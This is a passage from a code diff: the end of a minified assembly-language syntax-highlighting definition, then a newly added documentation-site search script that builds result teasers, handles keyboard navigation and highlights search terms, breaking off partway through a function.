vcmpnge_uqps vcmpngt_uqps vcmpfalse_osps vcmpneq_osps vcmpge_oqps vcmpgt_oqps vcmptrue_usps vcmpps vcmpeq_ossd vcmpeqsd vcmplt_ossd vcmpltsd vcmple_ossd vcmplesd vcmpunord_qsd vcmpunordsd vcmpneq_uqsd vcmpneqsd vcmpnlt_ussd vcmpnltsd vcmpnle_ussd vcmpnlesd vcmpord_qsd vcmpordsd vcmpeq_uqsd vcmpnge_ussd vcmpngesd vcmpngt_ussd vcmpngtsd vcmpfalse_oqsd vcmpfalsesd vcmpneq_oqsd vcmpge_ossd vcmpgesd vcmpgt_ossd vcmpgtsd vcmptrue_uqsd vcmptruesd vcmplt_oqsd vcmple_oqsd vcmpunord_ssd vcmpneq_ussd vcmpnlt_uqsd vcmpnle_uqsd vcmpord_ssd vcmpeq_ussd vcmpnge_uqsd vcmpngt_uqsd vcmpfalse_ossd vcmpneq_ossd vcmpge_oqsd vcmpgt_oqsd vcmptrue_ussd vcmpsd vcmpeq_osss vcmpeqss vcmplt_osss vcmpltss vcmple_osss vcmpless vcmpunord_qss vcmpunordss vcmpneq_uqss vcmpneqss vcmpnlt_usss vcmpnltss vcmpnle_usss vcmpnless vcmpord_qss vcmpordss vcmpeq_uqss vcmpnge_usss vcmpngess vcmpngt_usss vcmpngtss vcmpfalse_oqss vcmpfalsess vcmpneq_oqss vcmpge_osss vcmpgess vcmpgt_osss vcmpgtss vcmptrue_uqss vcmptruess vcmplt_oqss vcmple_oqss vcmpunord_sss vcmpneq_usss vcmpnlt_uqss vcmpnle_uqss vcmpord_sss vcmpeq_usss vcmpnge_uqss vcmpngt_uqss vcmpfalse_osss vcmpneq_osss vcmpge_oqss vcmpgt_oqss vcmptrue_usss vcmpss vcomisd vcomiss vcvtdq2pd vcvtdq2ps vcvtpd2dq vcvtpd2ps vcvtps2dq vcvtps2pd vcvtsd2si vcvtsd2ss vcvtsi2sd vcvtsi2ss vcvtss2sd vcvtss2si vcvttpd2dq vcvttps2dq vcvttsd2si vcvttss2si vdivpd vdivps vdivsd vdivss vdppd vdpps vextractf128 vextractps vhaddpd vhaddps vhsubpd vhsubps vinsertf128 vinsertps vlddqu vldqqu vldmxcsr vmaskmovdqu vmaskmovps vmaskmovpd vmaxpd vmaxps vmaxsd vmaxss vminpd vminps vminsd vminss vmovapd vmovaps vmovd vmovq vmovddup vmovdqa vmovqqa vmovdqu vmovqqu vmovhlps vmovhpd vmovhps vmovlhps vmovlpd vmovlps vmovmskpd vmovmskps vmovntdq vmovntqq vmovntdqa vmovntpd vmovntps vmovsd vmovshdup vmovsldup vmovss vmovupd vmovups vmpsadbw vmulpd vmulps vmulsd vmulss vorpd vorps vpabsb vpabsw vpabsd vpacksswb vpackssdw vpackuswb vpackusdw vpaddb vpaddw vpaddd vpaddq vpaddsb vpaddsw vpaddusb vpaddusw vpalignr vpand vpandn vpavgb vpavgw vpblendvb vpblendw vpcmpestri vpcmpestrm vpcmpistri vpcmpistrm vpcmpeqb vpcmpeqw vpcmpeqd vpcmpeqq vpcmpgtb vpcmpgtw vpcmpgtd vpcmpgtq vpermilpd vpermilps vperm2f128 vpextrb vpextrw vpextrd vpextrq vphaddw vphaddd vphaddsw vphminposuw vphsubw vphsubd vphsubsw vpinsrb vpinsrw vpinsrd vpinsrq vpmaddwd vpmaddubsw vpmaxsb vpmaxsw vpmaxsd vpmaxub vpmaxuw vpmaxud vpminsb vpminsw vpminsd vpminub vpminuw vpminud vpmovmskb vpmovsxbw vpmovsxbd vpmovsxbq vpmovsxwd vpmovsxwq vpmovsxdq vpmovzxbw vpmovzxbd vpmovzxbq vpmovzxwd vpmovzxwq vpmovzxdq vpmulhuw vpmulhrsw vpmulhw vpmullw vpmulld vpmuludq vpmuldq vpor vpsadbw vpshufb vpshufd vpshufhw vpshuflw vpsignb vpsignw vpsignd vpslldq vpsrldq vpsllw vpslld vpsllq vpsraw vpsrad vpsrlw vpsrld vpsrlq vptest vpsubb vpsubw vpsubd vpsubq vpsubsb vpsubsw vpsubusb vpsubusw vpunpckhbw vpunpckhwd vpunpckhdq vpunpckhqdq vpunpcklbw vpunpcklwd vpunpckldq vpunpcklqdq vpxor vrcpps vrcpss vrsqrtps vrsqrtss vroundpd vroundps vroundsd vroundss vshufpd vshufps vsqrtpd vsqrtps vsqrtsd vsqrtss vstmxcsr vsubpd vsubps vsubsd vsubss vtestps vtestpd vucomisd vucomiss vunpckhpd vunpckhps vunpcklpd vunpcklps vxorpd vxorps vzeroall vzeroupper pclmullqlqdq pclmulhqlqdq pclmullqhqdq pclmulhqhqdq pclmulqdq vpclmullqlqdq vpclmulhqlqdq vpclmullqhqdq vpclmulhqhqdq vpclmulqdq vfmadd132ps vfmadd132pd vfmadd312ps vfmadd312pd vfmadd213ps vfmadd213pd vfmadd123ps vfmadd123pd vfmadd231ps vfmadd231pd vfmadd321ps vfmadd321pd vfmaddsub132ps vfmaddsub132pd vfmaddsub312ps vfmaddsub312pd vfmaddsub213ps vfmaddsub213pd vfmaddsub123ps vfmaddsub123pd vfmaddsub231ps vfmaddsub231pd vfmaddsub321ps vfmaddsub321pd vfmsub132ps vfmsub132pd vfmsub312ps vfmsub312pd vfmsub213ps vfmsub213pd vfmsub123ps vfmsub123pd vfmsub231ps vfmsub231pd vfmsub321ps vfmsub321pd vfmsubadd132ps vfmsubadd132pd vfmsubadd312ps vfmsubadd312pd vfmsubadd213ps vfmsubadd213pd vfmsubadd123ps vfmsubadd123pd vfmsubadd231ps vfmsubadd231pd vfmsubadd321ps vfmsubadd321pd vfnmadd132ps vfnmadd132pd vfnmadd312ps vfnmadd312pd vfnmadd213ps vfnmadd213pd vfnmadd123ps vfnmadd123pd vfnmadd231ps vfnmadd231pd vfnmadd321ps vfnmadd321pd vfnmsub132ps vfnmsub132pd vfnmsub312ps vfnmsub312pd vfnmsub213ps vfnmsub213pd vfnmsub123ps vfnmsub123pd vfnmsub231ps vfnmsub231pd vfnmsub321ps vfnmsub321pd vfmadd132ss vfmadd132sd vfmadd312ss vfmadd312sd vfmadd213ss vfmadd213sd vfmadd123ss vfmadd123sd vfmadd231ss vfmadd231sd vfmadd321ss vfmadd321sd vfmsub132ss vfmsub132sd vfmsub312ss vfmsub312sd vfmsub213ss vfmsub213sd vfmsub123ss vfmsub123sd vfmsub231ss vfmsub231sd vfmsub321ss vfmsub321sd vfnmadd132ss vfnmadd132sd vfnmadd312ss vfnmadd312sd vfnmadd213ss vfnmadd213sd vfnmadd123ss vfnmadd123sd vfnmadd231ss vfnmadd231sd vfnmadd321ss vfnmadd321sd vfnmsub132ss vfnmsub132sd vfnmsub312ss vfnmsub312sd vfnmsub213ss vfnmsub213sd vfnmsub123ss vfnmsub123sd vfnmsub231ss vfnmsub231sd vfnmsub321ss vfnmsub321sd rdfsbase rdgsbase rdrand wrfsbase wrgsbase vcvtph2ps vcvtps2ph adcx adox rdseed clac stac xstore xcryptecb xcryptcbc xcryptctr xcryptcfb xcryptofb montmul xsha1 xsha256 llwpcb slwpcb lwpval lwpins vfmaddpd vfmaddps vfmaddsd vfmaddss vfmaddsubpd vfmaddsubps vfmsubaddpd vfmsubaddps vfmsubpd vfmsubps vfmsubsd vfmsubss vfnmaddpd vfnmaddps vfnmaddsd vfnmaddss vfnmsubpd vfnmsubps vfnmsubsd vfnmsubss vfrczpd vfrczps vfrczsd vfrczss vpcmov vpcomb vpcomd vpcomq vpcomub vpcomud vpcomuq vpcomuw vpcomw vphaddbd vphaddbq vphaddbw vphadddq vphaddubd vphaddubq vphaddubw vphaddudq vphadduwd vphadduwq vphaddwd vphaddwq vphsubbw vphsubdq vphsubwd vpmacsdd vpmacsdqh vpmacsdql vpmacssdd vpmacssdqh vpmacssdql vpmacsswd vpmacssww vpmacswd vpmacsww vpmadcsswd vpmadcswd vpperm vprotb vprotd vprotq vprotw vpshab vpshad vpshaq vpshaw vpshlb vpshld vpshlq vpshlw vbroadcasti128 vpblendd vpbroadcastb vpbroadcastw vpbroadcastd vpbroadcastq vpermd vpermpd vpermps vpermq vperm2i128 vextracti128 vinserti128 vpmaskmovd vpmaskmovq vpsllvd vpsllvq vpsravd vpsrlvd vpsrlvq vgatherdpd vgatherqpd vgatherdps vgatherqps vpgatherdd vpgatherqd vpgatherdq vpgatherqq xabort xbegin xend xtest andn bextr blci blcic blsi blsic blcfill blsfill blcmsk blsmsk blsr blcs bzhi mulx pdep pext rorx sarx shlx shrx tzcnt tzmsk t1mskc valignd valignq vblendmpd vblendmps vbroadcastf32x4 vbroadcastf64x4 vbroadcasti32x4 vbroadcasti64x4 vcompresspd vcompressps vcvtpd2udq vcvtps2udq vcvtsd2usi vcvtss2usi vcvttpd2udq vcvttps2udq vcvttsd2usi vcvttss2usi vcvtudq2pd vcvtudq2ps vcvtusi2sd vcvtusi2ss vexpandpd vexpandps vextractf32x4 vextractf64x4 vextracti32x4 vextracti64x4 vfixupimmpd vfixupimmps vfixupimmsd vfixupimmss vgetexppd vgetexpps vgetexpsd vgetexpss vgetmantpd vgetmantps vgetmantsd vgetmantss vinsertf32x4 vinsertf64x4 vinserti32x4 vinserti64x4 vmovdqa32 vmovdqa64 vmovdqu32 vmovdqu64 vpabsq vpandd vpandnd vpandnq vpandq vpblendmd vpblendmq vpcmpltd vpcmpled vpcmpneqd vpcmpnltd vpcmpnled vpcmpd vpcmpltq vpcmpleq vpcmpneqq vpcmpnltq vpcmpnleq vpcmpq vpcmpequd vpcmpltud vpcmpleud vpcmpnequd vpcmpnltud vpcmpnleud vpcmpud vpcmpequq vpcmpltuq vpcmpleuq vpcmpnequq vpcmpnltuq vpcmpnleuq vpcmpuq vpcompressd vpcompressq vpermi2d vpermi2pd vpermi2ps vpermi2q vpermt2d vpermt2pd vpermt2ps vpermt2q vpexpandd vpexpandq vpmaxsq vpmaxuq vpminsq vpminuq vpmovdb vpmovdw vpmovqb vpmovqd vpmovqw vpmovsdb vpmovsdw vpmovsqb vpmovsqd vpmovsqw vpmovusdb vpmovusdw vpmovusqb vpmovusqd vpmovusqw vpord vporq vprold vprolq vprolvd vprolvq vprord vprorq vprorvd vprorvq vpscatterdd vpscatterdq vpscatterqd vpscatterqq vpsraq vpsravq vpternlogd vpternlogq vptestmd vptestmq vptestnmd vptestnmq vpxord vpxorq vrcp14pd vrcp14ps vrcp14sd vrcp14ss vrndscalepd vrndscaleps vrndscalesd vrndscaless vrsqrt14pd vrsqrt14ps vrsqrt14sd vrsqrt14ss vscalefpd vscalefps vscalefsd vscalefss vscatterdpd vscatterdps vscatterqpd vscatterqps vshuff32x4 vshuff64x2 vshufi32x4 vshufi64x2 kandnw kandw kmovw knotw kortestw korw kshiftlw kshiftrw kunpckbw kxnorw kxorw vpbroadcastmb2q vpbroadcastmw2d vpconflictd vpconflictq vplzcntd vplzcntq vexp2pd vexp2ps vrcp28pd vrcp28ps vrcp28sd vrcp28ss vrsqrt28pd vrsqrt28ps vrsqrt28sd vrsqrt28ss vgatherpf0dpd vgatherpf0dps vgatherpf0qpd vgatherpf0qps vgatherpf1dpd vgatherpf1dps vgatherpf1qpd vgatherpf1qps vscatterpf0dpd vscatterpf0dps vscatterpf0qpd vscatterpf0qps vscatterpf1dpd vscatterpf1dps vscatterpf1qpd vscatterpf1qps prefetchwt1 bndmk bndcl bndcu bndcn bndmov bndldx bndstx sha1rnds4 sha1nexte sha1msg1 sha1msg2 sha256rnds2 sha256msg1 sha256msg2 hint_nop0 hint_nop1 hint_nop2 hint_nop3 hint_nop4 hint_nop5 hint_nop6 hint_nop7 hint_nop8 hint_nop9 hint_nop10 hint_nop11 hint_nop12 hint_nop13 hint_nop14 hint_nop15 hint_nop16 hint_nop17 hint_nop18 hint_nop19 hint_nop20 hint_nop21 hint_nop22 hint_nop23 hint_nop24 hint_nop25 hint_nop26 hint_nop27 hint_nop28 hint_nop29 hint_nop30 hint_nop31 hint_nop32 hint_nop33 hint_nop34 hint_nop35 hint_nop36 hint_nop37 hint_nop38 hint_nop39 hint_nop40 hint_nop41 hint_nop42 hint_nop43 hint_nop44 hint_nop45 hint_nop46 hint_nop47 hint_nop48 hint_nop49 hint_nop50 hint_nop51 hint_nop52 hint_nop53 hint_nop54 hint_nop55 hint_nop56 hint_nop57 hint_nop58 hint_nop59 hint_nop60 hint_nop61 hint_nop62 hint_nop63",built_in:"ip eip rip al ah bl bh cl ch dl dh sil dil bpl spl r8b r9b r10b r11b r12b r13b r14b r15b ax bx cx dx si di bp sp r8w r9w r10w r11w r12w r13w r14w r15w eax ebx ecx edx esi edi ebp esp eip r8d r9d r10d r11d r12d r13d r14d r15d rax rbx rcx rdx rsi rdi rbp rsp r8 r9 r10 r11 r12 r13 r14 r15 cs ds es fs gs ss st st0 st1 st2 st3 st4 st5 st6 st7 mm0 mm1 mm2 mm3 mm4 mm5 mm6 mm7 xmm0  xmm1  xmm2  xmm3  xmm4  xmm5  xmm6  xmm7  xmm8  xmm9 xmm10  xmm11 xmm12 xmm13 xmm14 xmm15 xmm16 xmm17 xmm18 xmm19 xmm20 xmm21 xmm22 xmm23 xmm24 xmm25 xmm26 xmm27 xmm28 xmm29 xmm30 xmm31 ymm0  ymm1  ymm2  ymm3  ymm4  ymm5  ymm6  ymm7  ymm8  ymm9 ymm10  ymm11 ymm12 ymm13 ymm14 ymm15 ymm16 ymm17 ymm18 ymm19 ymm20 ymm21 ymm22 ymm23 ymm24 ymm25 ymm26 ymm27 ymm28 ymm29 ymm30 ymm31 zmm0  zmm1  zmm2  zmm3  zmm4  zmm5  zmm6  zmm7  zmm8  zmm9 zmm10  zmm11 zmm12 zmm13 zmm14 zmm15 zmm16 zmm17 zmm18 zmm19 zmm20 zmm21 zmm22 zmm23 zmm24 zmm25 zmm26 zmm27 zmm28 zmm29 zmm30 zmm31 k0 k1 k2 k3 k4 k5 k6 k7 bnd0 bnd1 bnd2 bnd3 cr0 cr1 cr2 cr3 cr4 cr8 dr0 dr1 dr2 dr3 dr8 tr3 tr4 tr5 tr6 tr7 r0 r1 r2 r3 r4 r5 r6 r7 r0b r1b r2b r3b r4b r5b r6b r7b r0w r1w r2w r3w r4w r5w r6w r7w r0d r1d r2d r3d r4d r5d r6d r7d r0h r1h r2h r3h r0l r1l r2l r3l r4l r5l r6l r7l r8l r9l r10l r11l r12l r13l r14l r15l db dw dd dq dt ddq do dy dz resb resw resd resq rest resdq reso resy resz incbin equ times byte word dword qword nosplit rel abs seg wrt strict near far a32 ptr",meta:"%define %xdefine %+ %undef %defstr %deftok %assign %strcat %strlen %substr %rotate %elif %else %endif %if %ifmacro %ifctx %ifidn %ifidni %ifid %ifnum %ifstr %iftoken %ifempty %ifenv %error %warning %fatal %rep %endrep %include %push %pop %repl %pathsearch %depend %use %arg %stacksize %local %line %comment %endcomment .nolist __FILE__ __LINE__ __SECT__  __BITS__ __OUTPUT_FORMAT__ __DATE__ __TIME__ __DATE_NUM__ __TIME_NUM__ __UTC_DATE__ __UTC_TIME__ __UTC_DATE_NUM__ __UTC_TIME_NUM__  __PASS__ struc endstruc istruc at iend align alignb sectalign daz nodaz up down zero default option assume public bits use16 use32 use64 default section segment absolute extern global common cpu float __utf16__ __utf16le__ __utf16be__ __utf32__ __utf32le__ __utf32be__ __float8__ __float16__ __float32__ __float64__ __float80m__ __float80e__ __float128l__ __float128h__ __Infinity__ __QNaN__ __SNaN__ Inf NaN QNaN SNaN float8 float16 float32 float64 float80m float80e float128l float128h __FLOAT_DAZ__ __FLOAT_ROUND__ __FLOAT__"},contains:[s.COMMENT(";","$",{relevance:0}),{className:"number",variants:[{begin:"\\b(?:([0-9][0-9_]*)?\\.[0-9_]*(?:[eE][+-]?[0-9_]+)?|(0[Xx])?[0-9][0-9_]*\\.?[0-9_]*(?:[pP](?:[+-]?[0-9_]+)?)?)\\b",relevance:0},{begin:"\\$[0-9][0-9A-Fa-f]*",relevance:0},{begin:"\\b(?:[0-9A-Fa-f][0-9A-Fa-f_]*[Hh]|[0-9][0-9_]*[DdTt]?|[0-7][0-7_]*[QqOo]|[0-1][0-1_]*[BbYy])\\b"},{begin:"\\b(?:0[Xx][0-9A-Fa-f_]+|0[DdTt][0-9_]+|0[QqOo][0-7_]+|0[BbYy][0-1_]+)\\b"}]},s.QUOTE_STRING_MODE,{className:"string",variants:[{begin:"'",end:"[^\\\\]'"},{begin:"`",end:"[^\\\\]`"}],relevance:0},{className:"symbol",variants:[{begin:"^\\s*[A-Za-z._?][A-Za-z0-9_$#@~.?]*(:|\\s+label)"},{begin:"^\\s*%%[A-Za-z0-9_$#@~.?]*:"}],relevance:0},{className:"subst",begin:"%[0-9]+",relevance:0},{className:"subst",begin:"%!S+",relevance:0},{className:"meta",begin:/^\s*\.[\w_-]+/}]}}}());
\ No newline at end of file
diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js
new file mode 100644
index 000000000..1cee01a8c
--- /dev/null
+++ b/theme/ht_searcher.js
@@ -0,0 +1,486 @@
+"use strict";
+window.search = window.search || {};
+(function search(search) {
+    // Search functionality
+    //
+    // You can use !hasFocus() to prevent keyhandling in your key
+    // event handlers while the user is typing their search.
+
+    if (!Mark || !elasticlunr) {
+        return;
+    }
+
+    //IE 11 Compatibility from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith
+    if (!String.prototype.startsWith) {
+        String.prototype.startsWith = function(search, pos) {
+            return this.substr(!pos || pos < 0 ? 0 : +pos, search.length) === search;
+        };
+    }
+
+    var search_wrap = document.getElementById('search-wrapper'),
+        search_modal = document.getElementById('search-modal'),
+        searchbar = document.getElementById('searchbar'),
+        searchbar_outer = document.getElementById('searchbar-outer'),
+        searchresults = document.getElementById('searchresults'),
+        searchresults_outer = document.getElementById('searchresults-outer'),
+        searchresults_header = document.getElementById('searchresults-header'),
+        searchicon = document.getElementById('search-toggle'),
+        content = document.getElementById('content'),
+
+        searchindex = null,
+        doc_urls = [],
+        results_options = {
+            teaser_word_count: 30,
+            limit_results: 30,
+        },
+        search_options = {
+            bool: "AND",
+            expand: true,
+            fields: {
+                title: {boost: 1},
+                body: {boost: 1},
+                breadcrumbs: {boost: 0}
+            }
+        },
+        mark_exclude = [],
+        marker = new Mark(content),
+        current_searchterm = "",
+        URL_SEARCH_PARAM = 'search',
+        URL_MARK_PARAM = 'highlight',
+        teaser_count = 0,
+
+        SEARCH_HOTKEY_KEYCODE = 83,
+        ESCAPE_KEYCODE = 27,
+        DOWN_KEYCODE = 40,
+        UP_KEYCODE = 38,
+        SELECT_KEYCODE = 13;
+
+    function hasFocus() {
+        return searchbar === document.activeElement;
+    }
+
+    function removeChildren(elem) {
+        while (elem.firstChild) {
+            elem.removeChild(elem.firstChild);
+        }
+    }
+
+    // Helper to parse a url into its building blocks.
+    function parseURL(url) {
+        var a =  document.createElement('a');
+        a.href = url;
+        return {
+            source: url,
+            protocol: a.protocol.replace(':',''),
+            host: a.hostname,
+            port: a.port,
+            params: (function(){
+                var ret = {};
+                var seg = a.search.replace(/^\?/,'').split('&');
+                var len = seg.length, i = 0, s;
+                for (;i<len;i++) {
+                    if (!seg[i]) { continue; }
+                    s = seg[i].split('=');
+                    ret[s[0]] = s[1];
+                }
+                return ret;
+            })(),
+            file: (a.pathname.match(/\/([^/?#]+)$/i) || [,''])[1],
+            hash: a.hash.replace('#',''),
+            path: a.pathname.replace(/^([^/])/,'/$1')
+        };
+    }
+    
+    // Helper to recreate a url string from its building blocks.
+    function renderURL(urlobject) {
+        var url = urlobject.protocol + "://" + urlobject.host;
+        if (urlobject.port != "") {
+            url += ":" + urlobject.port;
+        }
+        url += urlobject.path;
+        var joiner = "?";
+        for(var prop in urlobject.params) {
+            if(urlobject.params.hasOwnProperty(prop)) {
+                url += joiner + prop + "=" + urlobject.params[prop];
+                joiner = "&";
+            }
+        }
+        if (urlobject.hash != "") {
+            url += "#" + urlobject.hash;
+        }
+        return url;
+    }
+    
+    // Helper to escape html special chars for displaying the teasers
+    var escapeHTML = (function() {
+        var MAP = {
+            '&': '&amp;',
+            '<': '&lt;',
+            '>': '&gt;',
+            '"': '&#34;',
+            "'": '&#39;'
+        };
+        var repl = function(c) { return MAP[c]; };
+        return function(s) {
+            return s.replace(/[&<>'"]/g, repl);
+        };
+    })();
+    
+    function formatSearchMetric(count, searchterm) {
+        if (count == 1) {
+            return count + " search result for '" + searchterm + "':";
+        } else if (count == 0) {
+            return "No search results for '" + searchterm + "'.";
+        } else {
+            return count + " search results for '" + searchterm + "':";
+        }
+    }
+    
+    function formatSearchResult(result, searchterms) {
+        var teaser = makeTeaser(escapeHTML(result.doc.body), searchterms);
+        teaser_count++;
+
+        // The ?URL_MARK_PARAM= parameter belongs inbetween the page and the #heading-anchor
+        var url = doc_urls[result.ref].split("#");
+        if (url.length == 1) { // no anchor found
+            url.push("");
+        }
+
+        // encodeURIComponent escapes all chars that could allow an XSS except
+        // for '. Due to that we also manually replace ' with its url-encoded
+        // representation (%27).
+        var searchterms = encodeURIComponent(searchterms.join(" ")).replace(/\'/g, "%27");
+
+        return '<a href="' + path_to_root + url[0] + '?' + URL_MARK_PARAM + '=' + searchterms + '#' + url[1]
+            + '" aria-details="teaser_' + teaser_count + '">' + result.doc.breadcrumbs 
+            + '<span class="teaser" id="teaser_' + teaser_count + '" aria-label="Search Result Teaser">' 
+            + teaser + '</span>' + '</a>';
+    }
+    
+    function makeTeaser(body, searchterms) {
+        // The strategy is as follows:
+        // First, assign a value to each word in the document:
+        //  Words that correspond to search terms (stemmer aware): 40
+        //  Normal words: 2
+        //  First word in a sentence: 8
+        // Then use a sliding window with a constant number of words and count the
+        // sum of the values of the words within the window. Then use the window that got the
+        // maximum sum. If there are multiple maximas, then get the last one.
+        // Enclose the terms in <em>.
+        var stemmed_searchterms = searchterms.map(function(w) {
+            return elasticlunr.stemmer(w.toLowerCase());
+        });
+        var searchterm_weight = 40;
+        var weighted = []; // contains elements of ["word", weight, index_in_document]
+        // split in sentences, then words
+        var sentences = body.toLowerCase().split('. ');
+        var index = 0;
+        var value = 0;
+        var searchterm_found = false;
+        for (var sentenceindex in sentences) {
+            var words = sentences[sentenceindex].split(' ');
+            value = 8;
+            for (var wordindex in words) {
+                var word = words[wordindex];
+                if (word.length > 0) {
+                    for (var searchtermindex in stemmed_searchterms) {
+                        if (elasticlunr.stemmer(word).startsWith(stemmed_searchterms[searchtermindex])) {
+                            value = searchterm_weight;
+                            searchterm_found = true;
+                        }
+                    };
+                    weighted.push([word, value, index]);
+                    value = 2;
+                }
+                index += word.length;
+                index += 1; // ' ' or '.' if last word in sentence
+            };
+            index += 1; // because we split at a two-char boundary '. '
+        };
+
+        if (weighted.length == 0) {
+            return body;
+        }
+
+        var window_weight = [];
+        var window_size = Math.min(weighted.length, results_options.teaser_word_count);
+
+        var cur_sum = 0;
+        for (var wordindex = 0; wordindex < window_size; wordindex++) {
+            cur_sum += weighted[wordindex][1];
+        };
+        window_weight.push(cur_sum);
+        for (var wordindex = 0; wordindex < weighted.length - window_size; wordindex++) {
+            cur_sum -= weighted[wordindex][1];
+            cur_sum += weighted[wordindex + window_size][1];
+            window_weight.push(cur_sum);
+        };
+
+        if (searchterm_found) {
+            var max_sum = 0;
+            var max_sum_window_index = 0;
+            // backwards
+            for (var i = window_weight.length - 1; i >= 0; i--) {
+                if (window_weight[i] > max_sum) {
+                    max_sum = window_weight[i];
+                    max_sum_window_index = i;
+                }
+            };
+        } else {
+            max_sum_window_index = 0;
+        }
+
+        // add <em/> around searchterms
+        var teaser_split = [];
+        var index = weighted[max_sum_window_index][2];
+        for (var i = max_sum_window_index; i < max_sum_window_index+window_size; i++) {
+            var word = weighted[i];
+            if (index < word[2]) {
+                // missing text from index to start of `word`
+                teaser_split.push(body.substring(index, word[2]));
+                index = word[2];
+            }
+            if (word[1] == searchterm_weight) {
+                teaser_split.push("<em>")
+            }
+            index = word[2] + word[0].length;
+            teaser_split.push(body.substring(word[2], index));
+            if (word[1] == searchterm_weight) {
+                teaser_split.push("</em>")
+            }
+        };
+
+        return teaser_split.join('');
+    }
+
+    function init(config) {
+        results_options = config.results_options;
+        search_options = config.search_options;
+        searchbar_outer = config.searchbar_outer;
+        doc_urls = config.doc_urls;
+        searchindex = elasticlunr.Index.load(config.index);
+
+        // Set up events
+        searchicon.addEventListener('click', function(e) { searchIconClickHandler(); }, false);
+        search_wrap.addEventListener('click', function(e) { searchIconClickHandler(); }, false);
+        search_modal.addEventListener('click', function(e) { e.stopPropagation(); }, false);
+        searchbar.addEventListener('keyup', function(e) { searchbarKeyUpHandler(); }, false);
+        document.addEventListener('keydown', function(e) { globalKeyHandler(e); }, false);
+        // If the user uses the browser buttons, do the same as if a reload happened
+        window.onpopstate = function(e) { doSearchOrMarkFromUrl(); };
+        // Suppress "submit" events so the page doesn't reload when the user presses Enter
+        document.addEventListener('submit', function(e) { e.preventDefault(); }, false);
+
+        // If reloaded, do the search or mark again, depending on the current url parameters
+        doSearchOrMarkFromUrl();
+    }
+    
+    function unfocusSearchbar() {
+        // hacky, but just focusing a div only works once
+        var tmp = document.createElement('input');
+        tmp.setAttribute('style', 'position: absolute; opacity: 0;');
+        searchicon.appendChild(tmp);
+        tmp.focus();
+        tmp.remove();
+    }
+    
+    // On reload or browser history backwards/forwards events, parse the url and do search or mark
+    function doSearchOrMarkFromUrl() {
+        // Check current URL for search request
+        var url = parseURL(window.location.href);
+        if (url.params.hasOwnProperty(URL_SEARCH_PARAM)
+            && url.params[URL_SEARCH_PARAM] != "") {
+            showSearch(true);
+            searchbar.value = decodeURIComponent(
+                (url.params[URL_SEARCH_PARAM]+'').replace(/\+/g, '%20'));
+            searchbarKeyUpHandler(); // -> doSearch()
+        } else {
+            showSearch(false);
+        }
+
+        if (url.params.hasOwnProperty(URL_MARK_PARAM)) {
+            var words = decodeURIComponent(url.params[URL_MARK_PARAM]).split(' ');
+            marker.mark(words, {
+                exclude: mark_exclude
+            });
+
+            var markers = document.querySelectorAll("mark");
+            function hide() {
+                for (var i = 0; i < markers.length; i++) {
+                    markers[i].classList.add("fade-out");
+                    window.setTimeout(function(e) { marker.unmark(); }, 300);
+                }
+            }
+            for (var i = 0; i < markers.length; i++) {
+                markers[i].addEventListener('click', hide);
+            }
+        }
+    }
+    
+    // Eventhandler for keyevents on `document`
+    function globalKeyHandler(e) {
+        if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey || e.target.type === 'textarea' || e.target.type === 'text' || !hasFocus() && /^(?:input|select|textarea)$/i.test(e.target.nodeName)) { return; }
+
+        if (e.keyCode === ESCAPE_KEYCODE) {
+            e.preventDefault();
+            searchbar.classList.remove("active");
+            setSearchUrlParameters("",
+                (searchbar.value.trim() !== "") ? "push" : "replace");
+            if (hasFocus()) {
+                unfocusSearchbar();
+            }
+            showSearch(false);
+            marker.unmark();
+        } else if (!hasFocus() && e.keyCode === SEARCH_HOTKEY_KEYCODE) {
+            e.preventDefault();
+            showSearch(true);
+            window.scrollTo(0, 0);
+            searchbar.select();
+        } else if (hasFocus() && e.keyCode === DOWN_KEYCODE) {
+            e.preventDefault();
+            unfocusSearchbar();
+            searchresults.firstElementChild.classList.add("focus");
+        } else if (!hasFocus() && (e.keyCode === DOWN_KEYCODE
+                                || e.keyCode === UP_KEYCODE
+                                || e.keyCode === SELECT_KEYCODE)) {
+            // not `:focus` because browser does annoying scrolling
+            var focused = searchresults.querySelector("li.focus");
+            if (!focused) return;
+            e.preventDefault();
+            if (e.keyCode === DOWN_KEYCODE) {
+                var next = focused.nextElementSibling;
+                if (next) {
+                    focused.classList.remove("focus");
+                    next.classList.add("focus");
+                }
+            } else if (e.keyCode === UP_KEYCODE) {
+                focused.classList.remove("focus");
+                var prev = focused.previousElementSibling;
+                if (prev) {
+                    prev.classList.add("focus");
+                } else {
+                    searchbar.select();
+                }
+            } else { // SELECT_KEYCODE
+                window.location.assign(focused.querySelector('a'));
+            }
+        }
+    }
+    
+    function showSearch(yes) {
+        if (yes) {
+            search_wrap.classList.remove('hidden');
+            searchicon.setAttribute('aria-expanded', 'true');
+        } else {
+            search_wrap.classList.add('hidden');
+            searchicon.setAttribute('aria-expanded', 'false');
+            var results = searchresults.children;
+            for (var i = 0; i < results.length; i++) {
+                results[i].classList.remove("focus");
+            }
+        }
+    }
+
+    function showResults(yes) {
+        if (yes) {
+            searchresults_outer.classList.remove('hidden');
+        } else {
+            searchresults_outer.classList.add('hidden');
+        }
+    }
+
+    // Eventhandler for search icon
+    function searchIconClickHandler() {
+        if (search_wrap.classList.contains('hidden')) {
+            showSearch(true);
+            window.scrollTo(0, 0);
+            searchbar.select();
+        } else {
+            showSearch(false);
+        }
+    }
+    
+    // Eventhandler for keyevents while the searchbar is focused
+    function searchbarKeyUpHandler() {
+        var searchterm = searchbar.value.trim();
+        if (searchterm != "") {
+            searchbar.classList.add("active");
+            doSearch(searchterm);
+        } else {
+            searchbar.classList.remove("active");
+            showResults(false);
+            removeChildren(searchresults);
+        }
+
+        setSearchUrlParameters(searchterm, "push_if_new_search_else_replace");
+
+        // Remove marks
+        marker.unmark();
+    }
+    
+    // Update current url with ?URL_SEARCH_PARAM= parameter, remove ?URL_MARK_PARAM and #heading-anchor .
+    // `action` can be one of "push", "replace", "push_if_new_search_else_replace"
+    // and replaces or pushes a new browser history item.
+    // "push_if_new_search_else_replace" pushes if there is no `?URL_SEARCH_PARAM=abc` yet.
+    function setSearchUrlParameters(searchterm, action) {
+        var url = parseURL(window.location.href);
+        var first_search = ! url.params.hasOwnProperty(URL_SEARCH_PARAM);
+        if (searchterm != "" || action == "push_if_new_search_else_replace") {
+            url.params[URL_SEARCH_PARAM] = searchterm;
+            delete url.params[URL_MARK_PARAM];
+            url.hash = "";
+        } else {
